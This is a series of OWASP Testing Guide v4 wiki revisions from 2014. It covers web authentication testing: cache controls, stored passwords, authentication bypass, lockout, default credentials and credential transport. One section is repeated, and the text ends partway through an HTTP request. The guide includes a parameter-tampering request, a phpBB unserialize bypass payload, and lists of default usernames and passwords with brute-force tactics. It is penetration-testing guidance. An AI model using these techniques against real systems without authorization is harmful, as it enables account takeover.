If by pressing the "Back" button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.

Authentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.

The "Back" button can be stopped from showing sensitive data. This can be done by:
* Delivering the page over HTTPS.
* Setting Cache-Control: must-re-validate

'''Browser Cache''' 
Here testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as WebScarab) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:
* Cache-Control: no-cache, no-store
* Expires: 0
* Pragma: no-cache

These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the filesystem. These include:
* Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

<pre>
HTTP/1.1:
Cache-Control: no-cache
</pre>

<pre>
HTTP/1.0:
Pragma: no-cache
Expires: <past date or illegal value (e.g., 0)>
</pre>

For instance, if testers are testing an e-commerce application, they should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the no-cache directive. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache.

The exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:

* Mozilla Firefox:
** Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/
** Windows: C:\Documents and Settings\<user_name>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache

* Internet Explorer:
** C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files

== Gray Box testing and example ==
The methodology for testing is equivalent to the black box case, as in both scenarios testers have full access to the server response headers and to the HTML code. However, with gray box testing, they may have access to account credentials that will allow then to test sensitive pages that are accessible only to authenticated users.
 

== References ==
'''Whitepapers''' 
* [http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html Caching in HTTP]

==Tools==
* [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy]
* Firefox add-on [https://addons.mozilla.org/en-US/firefox/addon/cacheviewer2/?src=api CacheViewer2]

Testing for Vulnerable Remember Password (OTG-AUTHN-005)

2014-08-01T19:44:59Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication form is visited. This is a convenience for the user.
Additionally some websites will offer custom "remember me" functionality to allow users to persist log ins on a specific client system.

Having the browser store passwords is not only a convenience for end-users, but also for an attacker. If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in an easily retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target web application's authentication form, entering the victim's username, and letting the browser to enter the password.

Additionally where custom "remember me" functions are put in place weaknesses in how the token is stored on the client PC (for example using base64 encoded credentials as the token) could expose the users passwords. Since early 2014 most major browsers will override any use of autocomplete="off" with regards to password forms and as a result previous checks for this are not required and recommendations should not commonly be given for disabling this feature. However this can still apply to things like secondary secrets which may be stored in the browser inadvertently.

==How to Test ==

* Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed.
* Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable.
* Verify that the credentials are only sent during the log in phase, and not sent together with every request to the application.
* Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form).

== Remediation ==

Ensure that no credentials are stored in clear text or are easily retrievable in encoded or encrypted forms in cookies.

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2014-08-01T19:43:16Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Problems related to the authentication schema can be found at different stages of the software development life cycle (SDLC), like the design, development, and deployment phases:
* In the design phase errors can include a wrong definition of application sections to be protected, the choice of not applying strong encryption protocols for securing the transmission of credentials, and many more.
* In the development phase errors can include the incorrect implementation of input validation functionality or not following the security best practices for the specific language.
* In the application deployment phase, there may be issues during the application setup (installation and configuration activities) due to a lack in required technical skills or due to the lack of good documentation.

== How to Test ==
== Black Box testing ==
There are several methods of bypassing the authentication schema that is used by a web application:
* Direct page request ([[Forced_browsing|forced browsing]])
* Parameter modification
* Session ID prediction
* SQL injection

 
'''Direct page request'''

If a web application implements access control only on the log in page, the authentication schema could be bypassed. For example, if a user directly requests a different page via forced browsing, that page may not check the credentials of the user before granting access. Attempt to directly access a protected page through the address bar in your browser to test using this method.

<center>[[Image:basm-directreq.jpg]]</center>

'''Parameter Modification'''

Another problem related to authentication design is when the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials. In the example below, the "authenticated" parameter is changed to a value of "yes", which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to modify the parameter, especially when the parameters are sent as form elements in a POST request or when the parameters are stored in a cookie.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>
</pre>

<center>[[Image:basm-parammod.jpg]]</center>

'''Session ID Prediction'''

Many web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID.

<center>[[Image:basm-sessid.jpg]]</center>

In the following figure, values inside cookies change only partially, so it's possible to restrict a brute force attack to the defined fields shown below.

<center>[[Image:basm-sessid2.jpg]]</center>

'''SQL Injection (HTML Form Authentication)'''

SQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.

<center>[[Image:basm-sqlinj.jpg]]</center>

The following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form.

<center>[[Image:basm-sqlinj2.gif]]</center>

== Gray Box Testing ==

If an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 the unserialize() function parses a user supplied cookie and sets values inside the $row array. At line 10 the user's MD5 password hash stored inside the back end database is compared to the one supplied.

<pre>
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }
</pre>

In PHP, a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so by supplying the following string (the important part is "b:1") to the unserialize() function, it is possible to bypass the authentication control:

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

== References ==
'''Whitepapers''' 
* Mark Roxberry: "PHPBB 2.0.13 vulnerability"
* David Endler: "Session ID Brute Force Exploitation and Prediction" - http://www.cgisecurity.com/lib/SessionIDs.pdf

 
==Tools==
* [[OWASP WebScarab Project|WebScarab]]
* [[OWASP WebGoat Project|WebGoat]]
* [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)]

Testing for Weak lock out mechanism (OTG-AUTHN-003)

2014-08-01T19:40:34Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Account lockout mechanisms are used to mitigate brute force password guessing attacks. Accounts are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access. 

Note that this test should cover all aspects of authentication where lockout mechanisms would be appropriate, e.g. when the user is presented with security questions during forgotten password mechanisms (see [[Testing for Weak security question/answer (OTG-AUTHN-008)]]).

Without a strong lockout mechanism, the application may be susceptible to brute force attacks. After a successful brute force attack, a malicious user could have access to:

* Confidential information or data: Private sections of a web application could disclose confidential documents, users' profile data, financial information, bank details, users' relationships, etc.

* Administration panels: These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.

* Opportunities for further attacks: authenticated sections of a web application could contain vulnerabilities that are not present in the public section of the web application and could contain advanced functionality that is not available to public users.

== Test objectives ==

# Evaluate the account lockout mechanism's ability to mitigate brute force password guessing.
# Evaluate the unlock mechanism's resistance to unauthorized account unlocking.

== How to Test==

Typically, to test the strength of lockout mechanisms, you will need access to an account that you are willing or can afford to lock. If you have only one account with which you can log on to the web application, perform this test at the end of you test plan to avoid that you cannot continue your testing due to a locked account. 
 

To evaluate the account lockout mechanism's ability to mitigate brute force password guessing, attempt an invalid log in by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:
# Attempt to log in with an incorrect password 3 times.
# Successfully log in with the correct password, thereby showing that the lockout mechanism doesn't trigger after 3 incorrect authentication attempts.
# Attempt to log in with an incorrect password 4 times.
# Successfully log in with the correct password, thereby showing that the lockout mechanism doesn't trigger after 4 incorrect authentication attempts.
# Attempt to log in with an incorrect password 5 times.
# Attempt to log in with the correct password. The application returns "Your account is locked out.", thereby confirming that the account is locked out after 5 incorrect authentication attempts.
# Attempt to log in with the correct password 5 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.
# Attempt to log in with the correct password 10 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.
# Successfully log in with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.
 

A CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses (see [[Testing_for_Captcha_(OWASP-AT-012)|Testing for CAPTCHA]]), and should not replace a lockout mechanism.

 
To evaluate the unlock mechanism's resistance to unauthorized account unlocking, initiate the unlock mechanism and look for weaknesses. Typical unlock mechanisms may involve secret questions or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches. Secret questions and answers should be strong (see [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak Security Question/Answer]]). 

Note that an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism. 
 
Factors to consider when implementing an account lockout mechanism:

# What is the risk of brute force password guessing against the application?
# Is a CAPTCHA sufficient to mitigate this risk?
# Number of unsuccessful log in attempts before lockout. If the lockout threshold is to low then valid users may be locked out too often. If the lockout threshold is to high then the more attempts an attacker can make to brute force the account before it will be locked. Depending on the application's purpose, a range of 5 to 10 unsuccessful attempts is typical lockout threshold.
# How will accounts be unlocked?
## Manually by an administrator: this is the most secure lockout method, but may cause inconvenience to users and take up the administrator's "valuable" time.
### Note that the administrator should also have a recovery method in case his account gets locked.
### This unlock mechanism may lead to a denial-of-service attack if an attacker's goal is to lock the accounts of all users of the web application.
## After a period of time: What is the lockout duration? Is this sufficient for the application being protected? E.g. a 5 to 30 minute lockout duration may be a good compromise between mitigating brute force attacks and inconveniencing valid users.
## Via a self-service mechanism: As stated before, this self-service mechanism must be secure enough to avoid that the attacker can unlock accounts himself.

== References ==

See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.

== Remediation ==

Apply account unlock mechanisms depending on the risk level. In order from lowest to highest assurance:

# Time-based lockout and unlock.
# Self-service unlock (sends unlock email to registered email address).
# Manual administrator unlock.
# Manual administrator unlock with positive user identification.

Testing for default credentials (OTG-AUTHN-002)

2014-08-01T19:39:03Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
 
Nowadays web applications often make use of popular open source or commercial software that can be installed on servers with minimal configuration or customization by the server administrator. Moreover, a lot of hardware appliances (i.e. network routers and database servers) offer web-based configuration or administrative interfaces.

Often these applications, once installed, are not properly configured and the default credentials provided for initial authentication and configuration are never changed. These default credentials are well known by penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to various types of applications.

Furthermore, in many situations, when a new account is created on an application, a default password (with some standard characteristics) is generated. If this password is predictable and the user does not change it on the first access, this can lead to an attacker gaining unauthorized access to the application.

The root cause of this problem can be identified as:
* Inexperienced IT personnel, who are unaware of the importance of changing default passwords on installed infrastructure components, or leave the password as default for "ease of maintenance".
* Programmers who leave back doors to easily access and test their application and later forget to remove them.
* Applications with built-in non-removable default accounts with a preset username and password.
* Applications that do not force the user to change the default credentials after the first log in.

 
==How to Test ==
 
===Testing for default credentials of common applications===

In black box testing the tester knows nothing about the application and its underlying infrastructure. In reality this is often not true, and some information about the application is known. We suppose that you have identified, through the use of the techniques described in this Testing Guide under the chapter [[Testing Information Gathering|Information Gathering]], at least one or more common applications that may contain accessible administrative interfaces. 

When you have identified an application interface, for example a Cisco router web interface or a Weblogic administrator portal, check that the known usernames and passwords for these devices do not result in successful authentication. To do this you can consult the manufacturer’s documentation or, in a much simpler way, you can find common credentials using a search engine or by using one of the sites or tools listed in the Reference section. 

When facing applications where we do not have a list of default and common user accounts (for example due to the fact that the application is not wide spread) we can attempt to guess valid default credentials. Note that the application being tested may have an account lockout policy enabled, and multiple password guess attempts with a known username may cause the account to be locked. If it is possible to lock the administrator account, it may be troublesome for the system administrator to reset it.

Many applications have verbose error messages that inform the site users as to the validity of entered usernames. This information will be helpful when testing for default or guessable user accounts. Such functionality can be found, for example, on the log in page, password reset and forgotten password page, and sign up page. Once you have found a default username you could also start guessing passwords for this account. 

More information about this procedure can be found in the section [[Testing for User Enumeration and Guessable User Account (OWASP-AT-002)|Testing for User Enumeration and Guessable User Account]] and in the section [[Testing for Weak password policy (OWASP-AT-008)|Testing for Weak password policy]]. 

Since these types of default credentials are often bound to administrative accounts you can proceed in this manner:
* Try the following usernames - "admin", "administrator", "root", "system", "guest", "operator", or "super". These are popular among system administrators and are often used. Additionally you could try "qa", "test", "test1", "testing" and similar names. Attempt any combination of the above in both the username and the password fields. If the application is vulnerable to username enumeration, and you manage to successfully identify any of the above usernames, attempt passwords in a similar manner. In addition try an empty password or one of the following "password", "pass123", "password123", "admin", or "guest" with the above accounts or any other enumerated accounts. Further permutations of the above can also be attempted. If these passwords fail, it may be worth using a common username and password list and attempting multiple requests against the application. This can, of course, be scripted to save time.
* Application administrative users are often named after the application or organization. This means if you are testing an application named "Obscurity", try using obscurity/obscurity or any other similar combination as the username and password.
* When performing a test for a customer, attempt using names of contacts you have received as usernames with any common passwords. Customer email addresses mail reveal the user accounts naming convention: if employee John Doe has the email address jdoe@example.com, you can try to find the names of system administrators on social media and guess their username by applying the same naming convention to their name.
* Attempt using all the above usernames with blank passwords.
* Review the page source and JavaScript either through a proxy or by viewing the source. Look for any references to users and passwords in the source. For example "If username='admin' then starturl=/admin.asp else /index.asp" (for a successful log in versus a failed log in). Also, if you have a valid account, then log in and view every request and response for a valid log in versus an invalid log in, such as additional hidden parameters, interesting GET request (login=yes), etc.
* Look for account names and passwords written in comments in the source code. Also look in backup directories for source code (or backups of source code) that may contain interesting comments and code.

===Testing for default password of new accounts===

It can also occur that when a new account is created in an application the account is assigned a default password. This password could have some standard characteristics making it predictable. If the user does not change it on first usage (this often happens if the user is not forced to change it) or if the user has not yet logged on to the application, this can lead an attacker to gain unauthorized access to the application. 

The advice given before about a possible lockout policy and verbose error messages are also applicable here when testing for default passwords. 

The following steps can be applied to test for these types of default credentials:
* Looking at the User Registration page may help to determine the expected format and minimum or maximum length of the application usernames and passwords. If a user registration page does not exist, determine if the organization uses a standard naming convention for user names such as their email address or the name before the "@" in the email.
* Try to extrapolate from the application how usernames are generated. For example, can a user choose his/her own username or does the system generate an account name for the user based on some personal information or by using a predictable sequence? If the application does generate the account names in a predictable sequence, such as user7811, try fuzzing all possible accounts recursively. If you can identify a different response from the application when using a valid username and a wrong password, then you can try a brute force attack on the valid username (or quickly try any of the identified common passwords above or in the reference section).
* Try to determine if the system generated password is predictable. To do this, create many new accounts quickly after one another so that you can compare and determine if the passwords are predictable. If predictable, try to correlate these with the usernames, or any enumerated accounts, and use them as a basis for a brute force attack.
* If you have identified the correct naming convention for the user name, try to “brute force” passwords with some common predictable sequence like for example dates of birth.
* Attempt using all the above usernames with blank passwords or using the username also as password value.

 
== Gray Box testing and example ==
 
The following steps rely on an entirely Gray Box approach. If only some of this information is available to you, refer to black box testing to fill the gaps.
* Talk to the IT personnel to determine which passwords they use for administrative access and how administration of the application is undertaken.
* Ask IT personnel if default passwords are changed and if default user accounts are disabled.
* Examine the user database for default credentials as described in the Black Box testing section. Also check for empty password fields.
* Examine the code for hard coded usernames and passwords.
* Check for configuration files that contain usernames and passwords.
* Examine the password policy and, if the application generates its own passwords for new users, check the policy in use for this procedure.
 
== References ==
'''Whitepapers''' 
* CIRT http://www.cirt.net/passwords
* Government Security - Default Logins and Passwords for Networked Devices http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
* Virus.org http://www.virus.org/default-password/ 

==Tools==
* Burp Intruder: http://portswigger.net/burp/intruder.html
* THC Hydra: http://www.thc.org/thc-hydra/
* Brutus: http://www.hoobie.net/brutus/
* Nikto 2: http://www.cirt.net/nikto2

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)

2014-08-01T19:37:14Z

Jane O'Connor:

{{Template:OWASP Testing Guide v4}}

== Summary ==
Testing for credentials transport means verifying that the user's authentication data are transferred via an encrypted channel to avoid being intercepted by malicious users. The analysis focuses simply on trying to understand if the data travels unencrypted from the web browser to the server, or if the web application takes the appropriate security measures using a protocol like HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the data that is transmitted and to ensure that user is being sent towards the desired site.

Clearly, the fact that traffic is encrypted does not necessarily mean that it's completely safe. The security also depends on the encryption algorithm used and the robustness of the keys that the application is using, but this particular topic will not be addressed in this section.

For a more detailed discussion on testing the safety of TLS/SSL channels refer to the chapter [[Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_(OWASP-EN-002)|Testing for Weak SSL/TLS]]. Here, the tester will just try to understand if the data that users put in to web forms in order to log in to a web site, are transmitted using secure protocols that protect them from an attacker.
 

Nowadays, the most common example of this issue is the log in page of a web application. The tester should verify that user's credentials are transmitted via an encrypted channel. In order to log in to a web site, the user usually has to fill a simple form that transmits the inserted data to the web application with the POST method. What is less obvious is that this data can be passed using the HTTP protocol, which transmits the data in a non-secure, clear text form, or using the HTTPS protocol, which encrypts the data during the transmission. To further complicate things, there is the possibility that the site has the login page accessible via HTTP (making us believe that the transmission is insecure), but then it actually sends data via HTTPS. This test is done to be sure that an attacker cannot retrieve sensitive information by simply sniffing the network with a sniffer tool.

==How to Test==
== Black Box testing and example ==
In the following examples we will use WebScarab in order to capture packet headers and to inspect them. You can use any web proxy that you prefer.

'''Case study: Sending data with POST method through HTTP''' 

Suppose that the login page presents a form with fields User, Pass, and the Submit button to authenticate and give access to the application. If we look at the headers of our request with WebScarab, we can get something like this: 

<pre>
POST http://www.example.com/AuthenticationServlet HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!
Content-Type: application/x-www-form-urlencoded
Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT
</pre>

From this example the tester can understand that the POST request sends the data to the page ''www.example.com/AuthenticationServlet'' using HTTP. Sothe data is transmitted without encryption and a malicious user could intercept the username and password by simply sniffing the network with a tool like Wireshark.

'''Case study: Sending data with POST method through HTTPS'''

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application the header of our POST request would be similar to the following:

<pre>
POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded
Content-length: 50

Command=Login&User=test&Pass=test
</pre>

We can see that the request is addressed to
''www.example.com:443/cgi-bin/login.cgi'' using the HTTPS protocol. This ensures that our credentials are sent using an encrypted channel and that the credentials are not readable by a malicious user using a sniffer.

'''Case study: sending data with POST method via HTTPS on a page reachable via HTTP'''

Now, imagine having a web page reachable via HTTP and that only data sent from the authentication form are transmitted via HTTPS. This situation occurs, for example, when we are on a portal of a big company that offers various information and services that are publicly available, without identification, but the site also has a private section accessible from the home page when users log in. So when we try to log in, the header of our request will look like the following example:

<pre>
POST https://www.example.com:443/login.do HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/homepage.do
Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F
Content-Type: application/x-www-form-urlencoded
Content-length: 45

User=test&Pass=test&portal=ExamplePortal
</pre>

We can see that our request is addressed to ''www.example.com:443/login.do'' using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is ''www.example.com/homepage.do'' and is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow [http://www.thoughtcrime.org/software/sslstrip/ SSLStrip] attacks (a type of [http://en.wikipedia.org/wiki/Man-in-the-middle_attack Man-in-the-middle] attack)

'''Case study: Sending data with GET method through HTTPS'''

In this last example, suppose that the application transfers data using the GET method. This method should never be used in a form that transmits sensitive data such as username and password, because the data is displayed in clear text in the URL and this causes a whole set of security issues. For example, the URL that is requested is easily available from the server logs or from your browser history, which makes your sensitive data retrievable for unauthorized persons. So this example is purely demonstrative, but, in reality, it is strongly suggested to use the POST method instead.

<pre>
GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/form.html
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
If-None-Match: "43a01-5b-4868915f"
</pre>

You can see that the data is transferred in clear text in the URL and not in the body of the request as before. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.

== Gray Box testing and example ==
Speak with the developers of the web application and try to understand if they are aware of the differences between HTTP and HTTPS protocols and why they should use HTTPS for transmitting sensitive information. Then, check with them if HTTPS is used in every sensitive request, like those in log in pages, to prevent unauthorized users to intercept the data.

== References ==
'''Whitepapers''' 
* HTTP/1.1: Security Considerations - http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html
* [http://www.troyhunt.com/2011/01/ssl-is-not-about-encryption.html SSL is not about encryption] 

==Tools==
* [[OWASP WebScarab Project|WebScarab]]
* [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)]

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)

2014-08-01T19:35:21Z

Jane O'Connor:

{{Template:OWASP Testing Guide v4}}

== Summary ==
Testing for credentials transport means verifying that the user's authentication data are transferred via an encrypted channel to avoid being intercepted by malicious users. The analysis focuses simply on trying to understand if the data travels unencrypted from the web browser to the server, or if the web application takes the appropriate security measures using a protocol like HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the data that is transmitted and to ensure that user is being sent towards the desired site.

Clearly, the fact that traffic is encrypted does not necessarily mean that it's completely safe. The security also depends on the encryption algorithm used and the robustness of the keys that the application is using, but this particular topic will not be addressed in this section.

For a more detailed discussion on testing the safety of TLS/SSL channels refer to the chapter [[Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_(OWASP-EN-002)|Testing for Weak SSL/TLS]]. Here, the tester will just try to understand if the data that users put in to web forms in order to log in to a web site, are transmitted using secure protocols that protect them from an attacker.
 

Nowadays, the most common example of this issue is the log in page of a web application. The tester should verify that user's credentials are transmitted via an encrypted channel. In order to log in to a web site, the user usually has to fill a simple form that transmits the inserted data to the web application with the POST method. What is less obvious is that this data can be passed using the HTTP protocol, which transmits the data in a non-secure, clear text form, or using the HTTPS protocol, which encrypts the data during the transmission. To further complicate things, there is the possibility that the site has the login page accessible via HTTP (making us believe that the transmission is insecure), but then it actually sends data via HTTPS. This test is done to be sure that an attacker cannot retrieve sensitive information by simply sniffing the network with a sniffer tool.

==How to Test==
== Black Box testing and example ==
In the following examples we will use WebScarab in order to capture packet headers and to inspect them. You can use any web proxy that you prefer.

'''Case study: Sending data with POST method through HTTP''' 

Suppose that the login page presents a form with fields User, Pass, and the Submit button to authenticate and give access to the application. If we look at the headers of our request with WebScarab, we can get something like this: 

<pre>
POST http://www.example.com/AuthenticationServlet HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!
Content-Type: application/x-www-form-urlencoded
Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT
</pre>

From this example the tester can understand that the POST request sends the data to the page ''www.example.com/AuthenticationServlet'' using HTTP. Sothe data is transmitted without encryption and a malicious user could intercept the username and password by simply sniffing the network with a tool like Wireshark.

'''Case study: Sending data with POST method through HTTPS'''

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application the header of our POST request would be similar to the following:

<pre>
POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded
Content-length: 50

Command=Login&User=test&Pass=test
</pre>

We can see that the request is addressed to
''www.example.com:443/cgi-bin/login.cgi'' using the HTTPS protocol. This ensures that our credentials are sent using an encrypted channel and that the credentials are not readable by a malicious user using a sniffer.

'''Case study: sending data with POST method via HTTPS on a page reachable via HTTP'''

Now, imagine having a web page reachable via HTTP and that only data sent from the authentication form are transmitted via HTTPS. This situation occurs, for example, when we are on a portal of a big company that offers various information and services that are publicly available, without identification, but the site also has a private section accessible from the home page when users log in. So when we try to log in, the header of our request will look like the following example:

<pre>
POST https://www.example.com:443/login.do HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
